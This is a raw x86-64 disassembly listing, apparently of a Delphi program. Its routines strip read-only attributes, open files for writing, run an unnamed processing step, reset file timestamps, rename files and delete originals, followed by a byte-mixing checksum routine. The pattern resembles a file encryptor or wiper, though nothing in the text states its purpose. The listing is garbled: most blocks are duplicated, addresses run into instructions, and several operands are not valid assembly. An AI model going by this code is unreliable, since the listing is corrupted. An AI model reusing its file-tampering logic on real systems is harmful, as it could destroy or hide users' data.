00444c41call fn_40d180
00444c46mov rcx, rax
00444c49call GetFileAttributesW
00444c4emov [rbp+72], eax
00444c51mov eax, [rbp+72]
00444c54cmp eax, -1
00444c57jne 0x444c61
00444c59mov eax, 128
00444c5emov [rbp+72], eax
00444c61
00444c61loc_444c61:
00444c61mov eax, [rbp+72]
00444c64and eax, 1
00444c67cmp eax, 1
00444c6ajne 0x444d2c
00444c70mov eax, [rbp+72]
00444c73and eax, -2
00444c76mov [rbp+72], eax
00444c79mov eax, [rbp+72]
00444c7ctest eax, eax
00444c7ejne 0x444c88
00444c80mov eax, 128
00444c85mov [rbp+72], eax
00444c88
00444c88loc_444c88:
00444c88lea rcx, [rbp+112]
00444c8cmov rdx, [rbp+168]
00444c93mov r8, [rbp+176]
00444c9acall fn_40d230
00444c9flea rcx, [rbp+120]
00444ca3mov rdx, [rbp+112]
00444ca7call fn_42f780
00444cacmov rcx, [rbp+120]
00444cb0call fn_40d180
00444cb5mov rcx, rax
00444cb8mov edx, [rbp+72]
00444cbbcall SetFileAttributesW
00444cc0lea rcx, [rbp+96]
00444cc4mov rdx, [rbp+168]
00444ccbmov r8, [rbp+176]
00444cd2call fn_40d230
00444cd7lea rcx, [rbp+104]
00444cdbmov rdx, [rbp+96]
00444cdfcall fn_42f780
00444ce4mov rcx, [rbp+104]
00444ce8call fn_40d180
00444cedmov rcx, rax
00444cf0mov edx, 0xffffffffc0000000
00444cf5xor r8, r8
00444cf8xor r9, r9
00444cfbmov [rsp+32], 3
00444d03mov [rsp+40], 128
00444d0bmov [rsp+48], 0
00444d14call CreateFileW
00444d19mov rcx, [rbp+64]
00444d1dmov [rcx], rax
00444d20mov rax, [rbp+64]
00444d24cmp [rax], -1
00444d28jne 0x444d9c
00444d2ajmp 0x444d96
00444d2c
00444d2cloc_444d2c:
00444d2clea rcx, [rbp+80]
00444d30mov rdx, [rbp+168]
00444d37mov r8, [rbp+176]
00444d3ecall fn_40d230
00444d43lea rcx, [rbp+88]
00444d47mov rdx, [rbp+80]
00444d4bcall fn_42f780
00444d50mov rcx, [rbp+88]
00444d54call fn_40d180
00444d59mov rcx, rax
00444d5cmov edx, 0xffffffffc0000000
00444d61xor r8, r8
00444d64xor r9, r9
00444d67mov [rsp+32], 3
00444d6fmov [rsp+40], 128
00444d77mov [rsp+48], 0
00444d80call CreateFileW
00444d85mov rcx, [rbp+64]
00444d89mov [rcx], rax
00444d8cmov rax, [rbp+64]
00444d90cmp [rax], -1
00444d94jne 0x444d9c
00444d96
00444d96loc_444d96:
00444d96xor eax, eax
00444d98mov [rbp+79], al
00444d9bnop
00444d9c
00444d9cloc_444d9c:
00444d9clea rcx, [rbp+80]
00444da0mov edx, 8
00444da5call fn_40be70
00444daalea rcx, [rbp+168]
00444db1mov edx, 2
00444db6call fn_40be70
00444dbbmovzx rax, [rbp+79]
00444dc0lea rsp, [rbp+144]
00444dc7pop rbp
00444dc8ret
00444b80
00444b80fn_444b80:
00444b80push rbp
00444b81sub rsp, 144
00444b88mov rbp, rsp
00444b8bmov [rbp+64], rcx
00444b8fmov [rbp+72], r9l
00444b93mov [rbp+88], 0
00444b9bmov [rbp+80], 0
00444ba3mov [rbp+104], 0
00444babmov [rbp+96], 0
00444bb3mov [rbp+120], 0
00444bbbmov [rbp+112], 0
00444bc3mov [rbp+136], 0
00444bcemov [rbp+128], 0
00444bd9mov [rbp+168], rdx
00444be0mov [rbp+176], r8
00444be7lea rcx, [rbp+168]
00444beecall fn_40bf00
00444bf3lea rcx, [rbp+176]
00444bfacall fn_40bf00
00444bffnop
00444c00mov al, 1
00444c02mov [rbp+79], al
00444c05mov eax, [rbp+72]
00444c08cmp eax, -1
00444c0bjne 0x444c61
00444c0dlea rcx, [rbp+128]
00444c14mov rdx, [rbp+168]
00444c1bmov r8, [rbp+176]
00444c22call fn_40d230
00444c27lea rcx, [rbp+136]
00444c2emov rdx, [rbp+128]
00444c35call fn_42f780
00444c3amov rcx, [rbp+136]
00444c41call fn_40d180
00444c46mov rcx, rax
00444c49call GetFileAttributesW
00444c4emov [rbp+72], eax
00444c51mov eax, [rbp+72]
00444c54cmp eax, -1
00444c57jne 0x444c61
00444c59mov eax, 128
00444c5emov [rbp+72], eax
00444c61
00444c61loc_444c61:
00444c61mov eax, [rbp+72]
00444c64and eax, 1
00444c67cmp eax, 1
00444c6ajne 0x444d2c
00444c70mov eax, [rbp+72]
00444c73and eax, -2
00444c76mov [rbp+72], eax
00444c79mov eax, [rbp+72]
00444c7ctest eax, eax
00444c7ejne 0x444c88
00444c80mov eax, 128
00444c85mov [rbp+72], eax
00444c88
00444c88loc_444c88:
00444c88lea rcx, [rbp+112]
00444c8cmov rdx, [rbp+168]
00444c93mov r8, [rbp+176]
00444c9acall fn_40d230
00444c9flea rcx, [rbp+120]
00444ca3mov rdx, [rbp+112]
00444ca7call fn_42f780
00444cacmov rcx, [rbp+120]
00444cb0call fn_40d180
00444cb5mov rcx, rax
00444cb8mov edx, [rbp+72]
00444cbbcall SetFileAttributesW
00444cc0lea rcx, [rbp+96]
00444cc4mov rdx, [rbp+168]
00444ccbmov r8, [rbp+176]
00444cd2call fn_40d230
00444cd7lea rcx, [rbp+104]
00444cdbmov rdx, [rbp+96]
00444cdfcall fn_42f780
00444ce4mov rcx, [rbp+104]
00444ce8call fn_40d180
00444cedmov rcx, rax
00444cf0mov edx, 0xffffffffc0000000
00444cf5xor r8, r8
00444cf8xor r9, r9
00444cfbmov [rsp+32], 3
00444d03mov [rsp+40], 128
00444d0bmov [rsp+48], 0
00444d14call CreateFileW
00444d19mov rcx, [rbp+64]
00444d1dmov [rcx], rax
00444d20mov rax, [rbp+64]
00444d24cmp [rax], -1
00444d28jne 0x444d9c
00444d2ajmp 0x444d96
00444d2c
00444d2cloc_444d2c:
00444d2clea rcx, [rbp+80]
00444d30mov rdx, [rbp+168]
00444d37mov r8, [rbp+176]
00444d3ecall fn_40d230
00444d43lea rcx, [rbp+88]
00444d47mov rdx, [rbp+80]
00444d4bcall fn_42f780
00444d50mov rcx, [rbp+88]
00444d54call fn_40d180
00444d59mov rcx, rax
00444d5cmov edx, 0xffffffffc0000000
00444d61xor r8, r8
00444d64xor r9, r9
00444d67mov [rsp+32], 3
00444d6fmov [rsp+40], 128
00444d77mov [rsp+48], 0
00444d80call CreateFileW
00444d85mov rcx, [rbp+64]
00444d89mov [rcx], rax
00444d8cmov rax, [rbp+64]
00444d90cmp [rax], -1
00444d94jne 0x444d9c
00444d96
00444d96loc_444d96:
00444d96xor eax, eax
00444d98mov [rbp+79], al
00444d9bnop
00444d9c
00444d9cloc_444d9c:
00444d9clea rcx, [rbp+80]
00444da0mov edx, 8
00444da5call fn_40be70
00444daalea rcx, [rbp+168]
00444db1mov edx, 2
00444db6call fn_40be70
00444dbbmovzx rax, [rbp+79]
00444dc0lea rsp, [rbp+144]
00444dc7pop rbp
00444dc8ret
00444b80
00444dc9
00444dc9 48 8d 80 00 00 00 00 H......
00444dc9 48 8d 80 00 00 00 00 H......
00444dd0
00444dd0fn_444dd0:
00444dd0push rbp
00444dd1push rbx
00444dd2sub rsp, 40
00444dd6mov rbp, rsp
00444dd9mov rbx, rdx
00444ddclea rcx, [rbx+80]
00444de0mov edx, 8
00444de5call fn_40be70
00444dealea rcx, [rbx+168]
00444df1mov edx, 2
00444df6call fn_40be70
00444dfblea rsp, [rbp+40]
00444dffpop rbx
00444e00pop rbp
00444e01ret
00444dd0
00444dd0fn_444dd0:
00444dd0push rbp
00444dd1push rbx
00444dd2sub rsp, 40
00444dd6mov rbp, rsp
00444dd9mov rbx, rdx
00444ddclea rcx, [rbx+80]
00444de0mov edx, 8
00444de5call fn_40be70
00444dealea rcx, [rbx+168]
00444df1mov edx, 2
00444df6call fn_40be70
00444dfblea rsp, [rbp+40]
00444dffpop rbx
00444e00pop rbp
00444e01ret
00444dd0
00444e02
00444e02 // align 0x10
00444e02 // align 0x10
00444e10
00444e10Unit47.finalization:
00444e10add [rip+0x2b93d], 1
00444e17cmp [rip+0x2b936], 0
00444e1eret
00444e10
00444e10Unit47.finalization:
00444e10add [rip+0x2b93d], 1
00444e17cmp [rip+0x2b936], 0
00444e1eret
00444e10
00444e1f
00444e1f // align 0x10
00444e1f // align 0x10
00444e20
00444e20Unit47.initialization:
00444e20sub [rip+0x2b92d], 1
00444e27cmp [rip+0x2b926], -1
00444e2eret
00444e20
00444e20Unit47.initialization:
00444e20sub [rip+0x2b92d], 1
00444e27cmp [rip+0x2b926], -1
00444e2eret
00444e20
00444e2f
00444e2f // align 0x10
00444e2f // align 0x10
00444e30
00444e30fn_444e30:
00444e30push rbp
00444e31push rsi
00444e32push rbx
00444e33sub rsp, 288
00444e3amov rbp, rsp
00444e3dmov [rbp+124], r8l
00444e41mov [rbp+136], 0
00444e4cmov [rbp+128], 0
00444e57mov [rbp+168], 0
00444e62mov [rbp+152], 0
00444e6dmov [rbp+144], 0
00444e78mov [rbp+160], 0
00444e83mov [rbp+184], 0
00444e8emov [rbp+176], 0
00444e99mov [rbp+216], 0
00444ea4mov [rbp+200], 0
00444eafmov [rbp+192], 0
00444ebamov [rbp+208], 0
00444ec5mov [rbp+256], 0
00444ed0mov [rbp+320], rcx
00444ed7mov [rbp+328], rdx
00444edelea rcx, [rbp+320]
00444ee5call fn_40bf00
00444eealea rcx, [rbp+328]
00444ef1call fn_40bf00
00444ef6nop
00444ef7lea rcx, [rbp+280]
00444efemov rdx, [rbp+320]
00444f05mov r8, [rbp+328]
00444f0cmov r9l, [rbp+124]
00444f10call fn_444b80
00444f15test al, al
00444f17je 0x445270
00444f1dmov rcx, [rbp+280]
00444f24lea rdx, [rbp+264]
00444f2bcall GetFileSizeEx
00444f30test eax, eax
00444f32jne 0x444f45
00444f34mov rcx, [rbp+280]
00444f3bcall CloseHandle
00444f40jmp 0x445270
00444f45
00444f45loc_444f45:
00444f45cmp [rbp+264], 0
00444f4djne 0x445056
00444f53mov rcx, [rbp+280]
00444f5acall CloseHandle
00444f5flea rcx, [rbp+256]
00444f66mov rdx, [rbp+320]
00444f6dmov r8l, 1
00444f73mov r9b, 255
00444f76mov [rsp+32], 0
00444f7bcall fn_42ef80
00444f80lea rcx, [rbp+208]
00444f87mov rdx, [rbp+320]
00444f8emov r8, [rbp+328]
00444f95call fn_40d230
00444f9alea rcx, [rbp+216]
00444fa1mov rdx, [rbp+208]
00444fa8call fn_42f780
00444fadmov rcx, [rbp+216]
00444fb4call fn_40d180
00444fb9mov rbx, rax
00444fbclea rcx, [rbp+192]
00444fc3mov rdx, [rbp+320]
00444fcamov r8, [rbp+256]
00444fd1call fn_40d230
00444fd6lea rcx, [rbp+200]
00444fddmov rdx, [rbp+192]
00444fe4call fn_42f780
00444fe9mov rcx, [rbp+200]
00444ff0call fn_40d180
00444ff5mov rcx, rbx
00444ff8mov rdx, rax
00444ffbcall MoveFileW
00445000test eax, eax
00445002je 0x445270
00445008lea rcx, [rbp+176]
0044500fmov rdx, [rbp+320]
00445016mov r8, [rbp+256]
0044501dcall fn_40d230
00445022lea rcx, [rbp+184]
00445029mov rdx, [rbp+176]
00445030call fn_42f780
00445035mov rcx, [rbp+184]
0044503ccall fn_40d180
00445041mov rcx, rax
00445044call DeleteFileW
00445049test eax, eax
0044504bje 0x445270
00445051jmp 0x445270
00445056
00445056loc_445056:
00445056mov rcx, [rbp+264]
0044505dxor edx, edx
0044505fxor r8, r8
00445062xor r9, r9
00445065lea rax, [rbp+279]
0044506cmov [rsp+32], rax
00445071mov rax, [rip+0x1f1e8]
00445078mov [rsp+40], rax
0044507dmov rax, [rip+0x1eeb4]
00445084mov [rsp+48], rax
00445089mov rax, [rip+0x1eea8]
00445090mov [rsp+56], rax
00445095mov [rsp+64], 0
0044509amov [rsp+72], 0
004450a2lea rax, [rbp+236]
004450a9mov [rsp+80], rax
004450aelea rax, [rbp+240]
004450b5mov [rsp+88], rax
004450bamov [rsp+96], 2
004450bfcall fn_4431c0
004450c4xor ebx, ebx
004450c6movzx rax, [rbp+279]
004450cesub al, 1
004450d1cmp al, -1
004450d4je 0x4450e3
004450d6test al, al
004450d8je 0x4450f3
004450dasub al, 1
004450ddtest al, al
004450dfjne 0x44512d
004450e1jmp 0x44510a
004450e3
004450e3loc_4450e3:
004450e3lea rcx, [rbp+280]
004450eacall fn_443050
004450efmov ebx, eax
004450f1jmp 0x44512d
004450f3
004450f3loc_4450f3:
004450f3lea rcx, [rbp+280]
004450famov rdx, [rbp+264]
00445101call fn_443080
00445106mov ebx, eax
00445108jmp 0x44512d
0044510a
0044510aloc_44510a:
0044510alea rcx, [rbp+280]
00445111mov rdx, [rbp+264]
00445118mov r8l, [rbp+236]
0044511fmov r9, [rbp+240]
00445126call fn_443100
0044512bmov ebx, eax
0044512d
0044512dloc_44512d:
0044512dmov rcx, [rbp+280]
00445134call CloseHandle
00445139test bl, bl
0044513bjne 0x44514b
0044513dcmp [rbp+264], 0
00445145jne 0x445270
0044514b
0044514bloc_44514b:
0044514bmov [rbp+248], 1
00445155mov [rbp+252], 0
0044515fmov rcx, [rbp+280]
00445166lea rdx, [rbp+248]
0044516dlea r8, [rbp+248]
00445174lea r9, [rbp+248]
0044517bcall SetFileTime
00445180lea rcx, [rbp+256]
00445187mov rdx, [rbp+320]
0044518emov r8l, 1
00445194mov r9b, 255
00445197mov [rsp+32], 0
0044519ccall fn_42ef80
004451a1lea rcx, [rbp+160]
004451a8mov rdx, [rbp+320]
004451afmov r8, [rbp+328]
004451b6call fn_40d230
004451bblea rcx, [rbp+168]
004451c2mov rdx, [rbp+160]
004451c9call fn_42f780
004451cemov rcx, [rbp+168]
004451d5call fn_40d180
004451damov rsi, rax
004451ddlea rcx, [rbp+144]
004451e4mov rdx, [rbp+320]
004451ebmov r8, [rbp+256]
004451f2call fn_40d230
004451f7lea rcx, [rbp+152]
004451femov rdx, [rbp+144]
00445205call fn_42f780
0044520amov rcx, [rbp+152]
00445211call fn_40d180
00445216mov rcx, rsi
00445219mov rdx, rax
0044521ccall MoveFileW
00445221test eax, eax
00445223je 0x445270
00445225cmp bl, 2
00445228jne 0x44526f
0044522alea rcx, [rbp+128]
00445231mov rdx, [rbp+320]
00445238mov r8, [rbp+256]
0044523fcall fn_40d230
00445244lea rcx, [rbp+136]
0044524bmov rdx, [rbp+128]
00445252call fn_42f780
00445257mov rcx, [rbp+136]
0044525ecall fn_40d180
00445263mov rcx, rax
00445266call DeleteFileW
0044526btest eax, eax
0044526dje 0x445270
0044526f
0044526floc_44526f:
0044526fnop
00445270
00445270loc_445270:
00445270lea rcx, [rbp+128]
00445277mov edx, 12
0044527ccall fn_40be70
00445281lea rcx, [rbp+256]
00445288call fn_40bd90
0044528dlea rcx, [rbp+320]
00445294mov edx, 2
00445299call fn_40be70
0044529elea rsp, [rbp+288]
004452a5pop rbx
004452a6pop rsi
004452a7pop rbp
004452a8ret
00444e30
00444e30fn_444e30:
00444e30push rbp
00444e31push rsi
00444e32push rbx
00444e33sub rsp, 288
00444e3amov rbp, rsp
00444e3dmov [rbp+124], r8l
00444e41mov [rbp+136], 0
00444e4cmov [rbp+128], 0
00444e57mov [rbp+168], 0
00444e62mov [rbp+152], 0
00444e6dmov [rbp+144], 0
00444e78mov [rbp+160], 0
00444e83mov [rbp+184], 0
00444e8emov [rbp+176], 0
00444e99mov [rbp+216], 0
00444ea4mov [rbp+200], 0
00444eafmov [rbp+192], 0
00444ebamov [rbp+208], 0
00444ec5mov [rbp+256], 0
00444ed0mov [rbp+320], rcx
00444ed7mov [rbp+328], rdx
00444edelea rcx, [rbp+320]
00444ee5call fn_40bf00
00444eealea rcx, [rbp+328]
00444ef1call fn_40bf00
00444ef6nop
00444ef7lea rcx, [rbp+280]
00444efemov rdx, [rbp+320]
00444f05mov r8, [rbp+328]
00444f0cmov r9l, [rbp+124]
00444f10call fn_444b80
00444f15test al, al
00444f17je 0x445270
00444f1dmov rcx, [rbp+280]
00444f24lea rdx, [rbp+264]
00444f2bcall GetFileSizeEx
00444f30test eax, eax
00444f32jne 0x444f45
00444f34mov rcx, [rbp+280]
00444f3bcall CloseHandle
00444f40jmp 0x445270
00444f45
00444f45loc_444f45:
00444f45cmp [rbp+264], 0
00444f4djne 0x445056
00444f53mov rcx, [rbp+280]
00444f5acall CloseHandle
00444f5flea rcx, [rbp+256]
00444f66mov rdx, [rbp+320]
00444f6dmov r8l, 1
00444f73mov r9b, 255
00444f76mov [rsp+32], 0
00444f7bcall fn_42ef80
00444f80lea rcx, [rbp+208]
00444f87mov rdx, [rbp+320]
00444f8emov r8, [rbp+328]
00444f95call fn_40d230
00444f9alea rcx, [rbp+216]
00444fa1mov rdx, [rbp+208]
00444fa8call fn_42f780
00444fadmov rcx, [rbp+216]
00444fb4call fn_40d180
00444fb9mov rbx, rax
00444fbclea rcx, [rbp+192]
00444fc3mov rdx, [rbp+320]
00444fcamov r8, [rbp+256]
00444fd1call fn_40d230
00444fd6lea rcx, [rbp+200]
00444fddmov rdx, [rbp+192]
00444fe4call fn_42f780
00444fe9mov rcx, [rbp+200]
00444ff0call fn_40d180
00444ff5mov rcx, rbx
00444ff8mov rdx, rax
00444ffbcall MoveFileW
00445000test eax, eax
00445002je 0x445270
00445008lea rcx, [rbp+176]
0044500fmov rdx, [rbp+320]
00445016mov r8, [rbp+256]
0044501dcall fn_40d230
00445022lea rcx, [rbp+184]
00445029mov rdx, [rbp+176]
00445030call fn_42f780
00445035mov rcx, [rbp+184]
0044503ccall fn_40d180
00445041mov rcx, rax
00445044call DeleteFileW
00445049test eax, eax
0044504bje 0x445270
00445051jmp 0x445270
00445056
00445056loc_445056:
00445056mov rcx, [rbp+264]
0044505dxor edx, edx
0044505fxor r8, r8
00445062xor r9, r9
00445065lea rax, [rbp+279]
0044506cmov [rsp+32], rax
00445071mov rax, [rip+0x1f1e8]
00445078mov [rsp+40], rax
0044507dmov rax, [rip+0x1eeb4]
00445084mov [rsp+48], rax
00445089mov rax, [rip+0x1eea8]
00445090mov [rsp+56], rax
00445095mov [rsp+64], 0
0044509amov [rsp+72], 0
004450a2lea rax, [rbp+236]
004450a9mov [rsp+80], rax
004450aelea rax, [rbp+240]
004450b5mov [rsp+88], rax
004450bamov [rsp+96], 2
004450bfcall fn_4431c0
004450c4xor ebx, ebx
004450c6movzx rax, [rbp+279]
004450cesub al, 1
004450d1cmp al, -1
004450d4je 0x4450e3
004450d6test al, al
004450d8je 0x4450f3
004450dasub al, 1
004450ddtest al, al
004450dfjne 0x44512d
004450e1jmp 0x44510a
004450e3
004450e3loc_4450e3:
004450e3lea rcx, [rbp+280]
004450eacall fn_443050
004450efmov ebx, eax
004450f1jmp 0x44512d
004450f3
004450f3loc_4450f3:
004450f3lea rcx, [rbp+280]
004450famov rdx, [rbp+264]
00445101call fn_443080
00445106mov ebx, eax
00445108jmp 0x44512d
0044510a
0044510aloc_44510a:
0044510alea rcx, [rbp+280]
00445111mov rdx, [rbp+264]
00445118mov r8l, [rbp+236]
0044511fmov r9, [rbp+240]
00445126call fn_443100
0044512bmov ebx, eax
0044512d
0044512dloc_44512d:
0044512dmov rcx, [rbp+280]
00445134call CloseHandle
00445139test bl, bl
0044513bjne 0x44514b
0044513dcmp [rbp+264], 0
00445145jne 0x445270
0044514b
0044514bloc_44514b:
0044514bmov [rbp+248], 1
00445155mov [rbp+252], 0
0044515fmov rcx, [rbp+280]
00445166lea rdx, [rbp+248]
0044516dlea r8, [rbp+248]
00445174lea r9, [rbp+248]
0044517bcall SetFileTime
00445180lea rcx, [rbp+256]
00445187mov rdx, [rbp+320]
0044518emov r8l, 1
00445194mov r9b, 255
00445197mov [rsp+32], 0
0044519ccall fn_42ef80
004451a1lea rcx, [rbp+160]
004451a8mov rdx, [rbp+320]
004451afmov r8, [rbp+328]
004451b6call fn_40d230
004451bblea rcx, [rbp+168]
004451c2mov rdx, [rbp+160]
004451c9call fn_42f780
004451cemov rcx, [rbp+168]
004451d5call fn_40d180
004451damov rsi, rax
004451ddlea rcx, [rbp+144]
004451e4mov rdx, [rbp+320]
004451ebmov r8, [rbp+256]
004451f2call fn_40d230
004451f7lea rcx, [rbp+152]
004451femov rdx, [rbp+144]
00445205call fn_42f780
0044520amov rcx, [rbp+152]
00445211call fn_40d180
00445216mov rcx, rsi
00445219mov rdx, rax
0044521ccall MoveFileW
00445221test eax, eax
00445223je 0x445270
00445225cmp bl, 2
00445228jne 0x44526f
0044522alea rcx, [rbp+128]
00445231mov rdx, [rbp+320]
00445238mov r8, [rbp+256]
0044523fcall fn_40d230
00445244lea rcx, [rbp+136]
0044524bmov rdx, [rbp+128]
00445252call fn_42f780
00445257mov rcx, [rbp+136]
0044525ecall fn_40d180
00445263mov rcx, rax
00445266call DeleteFileW
0044526btest eax, eax
0044526dje 0x445270
0044526f
0044526floc_44526f:
0044526fnop
00445270
00445270loc_445270:
00445270lea rcx, [rbp+128]
00445277mov edx, 12
0044527ccall fn_40be70
00445281lea rcx, [rbp+256]
00445288call fn_40bd90
0044528dlea rcx, [rbp+320]
00445294mov edx, 2
00445299call fn_40be70
0044529elea rsp, [rbp+288]
004452a5pop rbx
004452a6pop rsi
004452a7pop rbp
004452a8ret
00444e30
004452a9
004452a9 48 8d 80 00 00 00 00 H......
004452a9 48 8d 80 00 00 00 00 H......
004452b0
004452b0fn_4452b0:
004452b0push rbp
004452b1push rbx
004452b2sub rsp, 40
004452b6mov rbp, rsp
004452b9mov rbx, rdx
004452bclea rcx, [rbx+128]
004452c3mov edx, 12
004452c8call fn_40be70
004452cdlea rcx, [rbx+256]
004452d4call fn_40bd90
004452d9lea rcx, [rbx+320]
004452e0mov edx, 2
004452e5call fn_40be70
004452ealea rsp, [rbp+40]
004452eepop rbx
004452efpop rbp
004452f0ret
004452b0
004452b0fn_4452b0:
004452b0push rbp
004452b1push rbx
004452b2sub rsp, 40
004452b6mov rbp, rsp
004452b9mov rbx, rdx
004452bclea rcx, [rbx+128]
004452c3mov edx, 12
004452c8call fn_40be70
004452cdlea rcx, [rbx+256]
004452d4call fn_40bd90
004452d9lea rcx, [rbx+320]
004452e0mov edx, 2
004452e5call fn_40be70
004452ealea rsp, [rbp+40]
004452eepop rbx
004452efpop rbp
004452f0ret
004452b0
004452f1
004452f1 // align 0x10
004452f1 // align 0x10
00445300
00445300Unit48.finalization:
00445300add [rip+0x2b451], 1
00445307cmp [rip+0x2b44a], 0
0044530eret
00445300
00445300Unit48.finalization:
00445300add [rip+0x2b451], 1
00445307cmp [rip+0x2b44a], 0
0044530eret
00445300
0044530f
0044530f // align 0x10
0044530f // align 0x10
00445310
00445310Unit48.initialization:
00445310sub [rip+0x2b441], 1
00445317cmp [rip+0x2b43a], -1
0044531eret
00445310
00445310Unit48.initialization:
00445310sub [rip+0x2b441], 1
00445317cmp [rip+0x2b43a], -1
0044531eret
00445310
0044531f
0044531f // align 0x10
0044531f // align 0x10
00445320
00445320fn_445320:
00445320push rbp
00445321push rdi
00445322push rsi
00445323push rbx
00445324sub rsp, 56
00445328mov rbp, rsp
0044532bmov [rbp+44], edx
0044532emov [rbp+96], rcx
00445332mov [rbp+112], r8
00445336mov rcx, [rbp+96]
0044533acall fn_4106d0
0044533fmov rcx, [rbp+112]
00445343call fn_4106d0
00445348nop
00445349xor ecx, ecx
0044534bxor edx, edx
0044534dxor r8, r8
00445350xor r9, r9
00445353xor eax, eax
00445355
00445355loc_445355:
00445355mov r10, [rbp+112]
00445359movsxd r11, eax
0044535cmov [r10+r11], 0
00445361add eax, 1
00445364cmp eax, 16
00445367jne 0x445355
00445369nop
0044536axor r10, r10
0044536dmov ebx, [rbp+44]
00445370sub ebx, 1
00445373mov eax, r10l
00445376cmp eax, ebx
00445378jg 0x445523
0044537esub ebx, r10l
00445381add ebx, 1
00445384
00445384loc_445384:
00445384movsxd r10, eax
00445387mov r11, [rbp+112]
0044538bmov rsi, [rbp+96]
0044538fmovzx rsi, [rsi+r10]
00445394xor [r11], sil
00445397mov r11, [rbp+112]
0044539blea r11, [r11+1]
0044539fmov rsi, [rbp+96]
004453a3movzx rsi, [rsi+r10]
004453a8add [r11], sil
004453abmov r11, [rbp+112]
004453aflea r11, [r11+2]
004453b3mov rsi, [rbp+96]
004453b7movzx rsi, [rsi+r10]
004453bcsub [r11], sil
004453bfmov r11, [rbp+96]
004453c3movzx r11, [r11+r10]
004453c8mov rsi, [rbp+112]
004453cccmp r11b, [rsi+3]
004453d0jbe 0x4453da
004453d2mov rsi, [rbp+112]
004453d6mov [rsi+3], r11b
004453da
004453daloc_4453da:
004453damov r11l, eax
004453ddand r11l, 0xffffffff80000001
004453e4jns 0x4453f2
004453e6sub r11l, 1
004453eaor r11l, -2
004453eeadd r11l, 1
004453f2
004453f2loc_4453f2:
004453f2test r11l, r11l
004453f5jne 0x445460
004453f7mov rcx, [rbp+112]
004453fblea rcx, [rcx+4]
004453ffmov rdx, [rbp+96]
00445403movzx rdx, [rdx+r10]
00445408xor [rcx], dl
0044540amov rcx, [rbp+112]
0044540elea rcx, [rcx+5]
00445412mov rdx, [rbp+96]
00445416movzx rdx, [rdx+r10]
0044541badd [rcx], dl
0044541dmov rcx, [rbp+112]
00445421lea rcx, [rcx+6]
00445425mov rdx, [rbp+96]
00445429movzx rdx, [rdx+r10]
0044542esub [rcx], dl
00445430mov rcx, [rbp+96]
00445434movzx rcx, [rcx+r10]
00445439mov rdx, [rbp+112]
0044543dcmp cl, [rdx+7]
00445440jbe 0x445449
00445442mov rdx, [rbp+112]
00445446mov [rdx+7], cl
00445449
00445449loc_445449:
00445449mov rcx, [rbp+96]
0044544dmovzx r9, [rcx+r10]
00445452mov ecx, r9l
00445455mov edx, r9l
00445458mov r8l, r9l
0044545bjmp 0x445515
00445460
00445460loc_445460:
00445460mov r11, [rbp+112]
00445464lea r11, [r11+8]
00445468mov rsi, [rbp+96]
0044546cmovzx rsi, [rsi+r10]
00445471xor [r11], sil
00445474mov r11, [rbp+112]
00445478lea r11, [r11+9]
0044547cmov rsi, [rbp+96]
00445480movzx rsi, [rsi+r10]
00445485add [r11], sil
00445488mov r11, [rbp+112]
0044548clea r11, [r11+10]
00445490mov rsi, [rbp+96]
00445494movzx rsi, [rsi+r10]
00445499sub [r11], sil
0044549cmov r11, [rbp+96]
004454a0movzx r11, [r11+r10]
004454a5mov rsi, [rbp+112]
004454a9cmp r11b, [rsi+11]
004454adjbe 0x4454b7
004454afmov rsi, [rbp+112]
004454b3mov [rsi+11], r11b
004454b7
004454b7loc_4454b7:
004454b7mov r11, [rbp+112]
004454bblea r11, [r11+12]
004454bfmov rsi, [rbp+96]
004454c3mov edi, ecx
004454c6and dil, [rsi+r10]
004454caxor [r11], dil
004454cdmov r11, [rbp+112]
004454d1lea r11, [r11+13]
004454d5mov rsi, [rbp+96]
004454d9mov edi, edx
004454dcor dil, [rsi+r10]
004454e0xor [r11], dil
004454e3mov r11, [rbp+112]
004454e7lea r11, [r11+14]
004454ebmov rsi, [rbp+96]
004454efmov edi, r8l
004454f2add dil, [rsi+r10]
004454f6xor [r11], dil
004454f9mov r11, [rbp+96]
004454fdmovzx r10, [r11+r10]
00445502cmp r10b, r9b
00445505jbe 0x44550a
00445507mov r9l, r10l
0044550a
0044550aloc_44550a:
0044550amov r10, [rbp+112]
0044550elea r10, [r10+15]
00445512xor [r10], r9b
00445515
00445515loc_445515:
00445515add eax, 1
00445518sub ebx, 1
0044551btest ebx, ebx
0044551djne 0x445384
00445523
00445523loc_445523:
00445523nop
00445524nop
00445525lea rcx, [rbp+96]
00445529mov rdx, [rip-0x16710]
00445530call fn_410600
00445535lea rcx, [rbp+112]
00445539mov rdx, [rip-0x16720]
00445540call fn_410600
00445545lea rsp, [rbp+56]
00445549pop rbx
0044554apop rsi
0044554bpop rdi
0044554cpop rbp
0044554dret
00445320
00445320fn_445320:
00445320push rbp
00445321push rdi
00445322push rsi
00445323push rbx
00445324sub rsp, 56
00445328mov rbp, rsp
0044532bmov [rbp+44], edx
0044532emov [rbp+96], rcx
00445332mov [rbp+112], r8
00445336mov rcx, [rbp+96]
0044533acall fn_4106d0
0044533fmov rcx, [rbp+112]
00445343call fn_4106d0
00445348nop
00445349xor ecx, ecx
0044534bxor edx, edx
0044534dxor r8, r8
00445350xor r9, r9
00445353xor eax, eax
00445355
00445355loc_445355:
00445355mov r10, [rbp+112]
00445359movsxd r11, eax
0044535cmov [r10+r11], 0
00445361add eax, 1
00445364cmp eax, 16
00445367jne 0x445355
00445369nop
0044536axor r10, r10
0044536dmov ebx, [rbp+44]
00445370sub ebx, 1
00445373mov eax, r10l
00445376cmp eax, ebx
00445378jg 0x445523
0044537esub ebx, r10l
00445381add ebx, 1
00445384
00445384loc_445384:
00445384movsxd r10, eax
00445387mov r11, [rbp+112]
0044538bmov rsi, [rbp+96]
0044538fmovzx rsi, [rsi+r10]
00445394xor [r11], sil
00445397mov r11, [rbp+112]
0044539blea r11, [r11+1]
0044539fmov rsi, [rbp+96]
004453a3movzx rsi, [rsi+r10]
004453a8add [r11], sil
004453abmov r11, [rbp+112]
004453aflea r11, [r11+2]
004453b3mov rsi, [rbp+96]
004453b7movzx rsi, [rsi+r10]
004453bcsub [r11], sil
004453bfmov r11, [rbp+96]
004453c3movzx r11, [r11+r10]
004453c8mov rsi, [rbp+112]
004453cccmp r11b, [rsi+3]
004453d0jbe 0x4453da
004453d2mov rsi, [rbp+112]
004453d6mov [rsi+3], r11b
004453da
004453daloc_4453da:
004453damov r11l, eax
004453ddand r11l, 0xffffffff80000001
004453e4jns 0x4453f2
004453e6sub r11l, 1
004453eaor r11l, -2
004453eeadd r11l, 1
004453f2
004453f2loc_4453f2:
004453f2test r11l, r11l
004453f5jne 0x445460
004453f7mov rcx, [rbp+112]
